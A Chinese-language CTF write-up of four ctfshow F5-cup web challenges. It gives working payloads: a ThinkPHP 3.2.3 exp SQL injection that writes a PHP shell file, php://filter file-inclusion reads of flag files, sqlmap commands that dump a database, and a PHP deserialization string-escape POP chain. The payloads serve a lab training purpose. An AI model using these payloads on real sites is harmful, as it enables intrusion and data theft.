ctfshow-F5杯-WEB
lastsward's website
考点:Thinkphp 3.2.3 exp注入漏洞
参考文档
https://y4er.com/post/thinkphp3-vuln/
https://zhuanlan.zhihu.com/p/127208753
解题步骤
网站目录结构
打开网址,是一个登录界面
存在弱密码,admin 123456。
不登陆其实也可以
观察url
http://f49f7057-a17b-4bec-98a6-429712d08348.chall.ctf.show:8080/Public/Login.html
访问 url/Public/ 即可访问所有目录
确认框架版本
查看游戏
观察url
http://f49f7057-a17b-4bec-98a6-429712d08348.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/2
又根据错误页面的信息
确定框架为ThinkPHP 3.2.3
漏洞利用
搜索该版本的漏洞后发现存在exp注入漏洞
当id[0]=exp时,会将id[1]中的内容进行拼接。
这里的id变为了gameId
先使用sleep函数测试一下
http://f49f7057-a17b-4bec-98a6-429712d08348.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 and sleep(5)--+
发现sleep函数被过滤了,还被嘲讽了,==
fuzz测试一波sql关键字
发现dumpfile可以使用。
构造payload
http://bc656195-47f8-4155-8fe4-3437eaa96b49.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"--+
查看shell.php
写入成功
刚好我们可以修改游戏名字。
修改为<?php phpinfo()?>
再访问一次payload
http://bc656195-47f8-4155-8fe4-3437eaa96b49.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell1.php"--+
dumpfile写入的文件不能存在,所以需要写入另一个文件。
成功访问phpinfo界面
在environment中找到flag
eazy-unserialize&eazy-unserialize-revenge
考点:php反序列化,php伪协议
这道题出的有问题,可以非预期接出来。所以并不是很了解想要考察的知识点。==
<?php include "mysqlDb.class.php"; class ctfshow{ public $method; public $args; public $cursor; function __construct($method, $args) { $this->method = $method; $this->args = $args; $this->getCursor(); } function getCursor(){ global $DEBUG; if (!$this->cursor) $this->cursor = MySql::getInstance(); if ($DEBUG) { $sql = "DROP TABLE IF EXISTS USERINFO"; $this->cursor->Exec($sql); $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64), password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8"; $this->cursor->Exec($sql); $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')"; $this->cursor->Exec($sql); } } function login() { list($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password)); $obj = $this->cursor->getRow($sql); $data = $obj['role']; if ( $data != null ) { define('Happy', TRUE); $this->loadData($data); } else { $this->byebye("sorry!"); } } function closeCursor(){ $this->cursor = MySql::destroyInstance(); } function lookme() { highlight_file(__FILE__); } function loadData($data) { if (substr($data, 0, 2) !== 'O:') { return unserialize($data); } return null; } function __destruct() { $this->getCursor(); if (in_array($this->method, array("login", "lookme"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->byebye("fuc***** hacker ?"); } $this->closeCursor(); } function byebye($msg) { $this->closeCursor(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); } } class Happy{ public $file='flag.php'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } } function ezwaf($data){ if (preg_match("/ctfshow/",$data)){ die("Hacker !!!"); } return $data; } if(isset($_GET["w_a_n"])) { @unserialize(ezwaf($_GET["w_a_n"])); } else { new CTFSHOW("lookme", array()); }
审计代码发现,Happy类存在明显的文件包含漏洞,都不用分析ctfshow类。==
利用php伪协议读取flag.php
构造payload
http://69109160-e30e-4f0e-a334-ba85ca32a8a9.chall.ctf.show:8080/?w_a_n=O:5:"Happy":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
得到源码
<?php !defined('Happy') && exit('Access Denied'); echo file_get_contents("/flag"); ?>
得知flag在根目录下。
继续利用php伪协议来读取
http://69109160-e30e-4f0e-a334-ba85ca32a8a9.chall.ctf.show:8080/?w_a_n=O:5:"Happy":1:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}
得到flag
迷惑行为大赏之盲注
sql盲注,@特殊符号
寻找注入点
登陆界面
这个界面一直报错。
忘记密码界面
显然布尔判断生效了。存在注入点
SQLMAP注入
直接sqlmap一把梭
1. 测试注入方式
sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" --batch
布尔盲注就可以,但不知道为甚么sqlmap要用时间盲注,==
2. 爆数据库
sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" --dbs --batch
3. 爆表名
sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" -D 测试 -tables --batch
4. 爆列名
sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" -D 测试 -T 15665611612 -columns --batch
确定就是在这个表了
5. 爆字段
这里要注意列名中有@符号。需要进行url编码
sqlmap -u http://ecb615f3-384e-495e-b8d1-638a8fcdcc92.chall.ctf.show:8080/forgot.php --data="username=1" -D 测试 -T 15665611612 -C 'what%40you%40want' --dump --batch
得到flag
Web逃离计划
考点:文件包含,php伪协议,POP链
根据提示,显然是爆破。
存在admin账户
爆破出密码
啊这
继续查看网站源码,发现一个好东西
这里可能会有文件包含漏洞。
<?php error_reporting(0); if ($_GET['file']){ $filename = $_GET['file']; if ($filename=='logo.png'){ header("Content-Type:image/png"); echo file_get_contents("./static/img/logo.png"); }else{ ini_set('open_basedir','./'); if ($filename=='hint.php'){ echo 'nononono!'; } else{ if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){ echo "hacker"; }else{ include($filename); } } } }else{ highlight_file(__FILE__); }
考虑使用php伪协议filter读取文件。
这里过滤了read,但是不用read也可以实现读取。
构造payload
http://fb9f232b-4e98-4dfe-b49a-8b1ff3edac26.chall.ctf.show:8080/lookMe.php?file=php://filter/convert.base64-encode/resource=hint.php
得到hint.php源码
<?php echo "Here are some key messages that are hidden but u can't read</br>u may try other ways to read this file to get hints"; //You can only read the following(Files in the current directory),and only top 3 are necessary: //ezwaf.php //class.php //index.php //lookMe.php
继续使用php伪协议读取其他文件
class.php
<?php error_reporting(0); class Login{ protected $user_name; protected $pass_word; protected $admin; public function __construct($username,$password){ $this->user_name=$username; $this->pass_word=$password; if ($this->user_name=='admin'&&$this->pass_word=='admin888'){ $this->admin = 1; }else{ $this->admin = 0; } } public function checkStatus(){ return $this->admin; } } class register{ protected $username; protected $password; protected $mobile; protected $mdPwd; public function __construct($username,$password,$mobile){ $this->username = $username; $this->password = $password; $this->mobile = $mobile; } public function __toString(){ return $this->mdPwd->pwd; } } class magic{ protected $username; public function __get($key){ if ($this->username!=='admin'){ die("what do you do?"); } $this->getFlag($key); } public function getFlag($key){ echo $key."</br>"; system("cat /flagg"); } } class PersonalFunction{ protected $username; protected $password; protected $func = array(); public function __construct($username, $password,$func = "personalData"){ $this->username = $username; $this->password = $password; $this->func[$func] = true; } public function checkFunction(array $funcBars) { $retData = null; $personalProperties = array_flip([ 'modifyPwd', 'InvitationCode', 'modifyAvatar', 'personalData', ]); foreach ($personalProperties as $item => $num){ foreach ($funcBars as $funcBar => $stat) { if (stristr($stat,$item)){ $retData = true; } } } return $retData; } public function doFunction($function){ // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密. return true; } public function __destruct(){ $retData = $this->checkFunction($this->func); $this->doFunction($retData); } }
ezwaf.php
<?php function get($data){ $data = str_replace('forfun', chr(0)."*".chr(0), $data); return $data; } function checkData($data){ if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){ die("fuc**** hacker!!!\n"); } else{ return $data; } } function checkLogData($data){ if (preg_match("/register|magic|PersonalFunction/",$data)){ die("fuc**** hacker!!!!\n"); } else{ return $data; } }
index.php
<?php include "class.php"; include "ezwaf.php"; session_start(); $username = $_POST['username']; $password = $_POST['password']; $finish = false; if ($username!=null&&$password!=null){ $serData = checkLogData(checkData(get(serialize(new Login($username,$password))))); $login = unserialize($serData); $loginStatus = $login->checkStatus(); if ($loginStatus){ $_SESSION['login'] = true; $_COOKIE['status'] = 0; } $finish = true; } ?>
这里显然就需要构造POP链,利用反序列化的逃逸。
具体步骤atao大佬已经分析的很清楚了,我就不写了,也不好写清楚。
phpstorm启动,将代码复制进来。
POP链构造:
记得修改类的__construct方法。
运行得到
O:5:"Login":3:{s:12:"\00*\00user_name";s:3:"aaa";s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}s:8:"\00*\00admin";i:0;}
橙色部分就是我们需要的payload。
$password=";橙色部分 (记得给"加上\)
运行得到
O:5:"Login":3:{s:12:"\00*\00user_name";s:3:"aaa";s:12:"\00*\00pass_word";s:301:"";s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}";s:8:"\00*\00admin";i:0;}
绿色部分就是我们要吞噬掉的字符,29个字符。
因为get函数 str_replace('forfun', chr(0)."*".chr(0), $data),会减少3个字符。
为了使被吞噬字符数为3的倍数,需要再加一个字符。
$username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun (10个forfun)
$password=a";橙色部分
还需要绕过对数据的过滤,
- 通过将字符串的s类型改为S,可以对十六进制进行解码 ,来绕过对username和password的过滤
- 通过大小写绕过类名的过滤
最终payload:
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=a";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";S:3:"aaa";S:11:"\00*\00\70assword";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";S:3:"aaa";S:11:"\00*\00\70assword";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";S:5:"admin";}}}}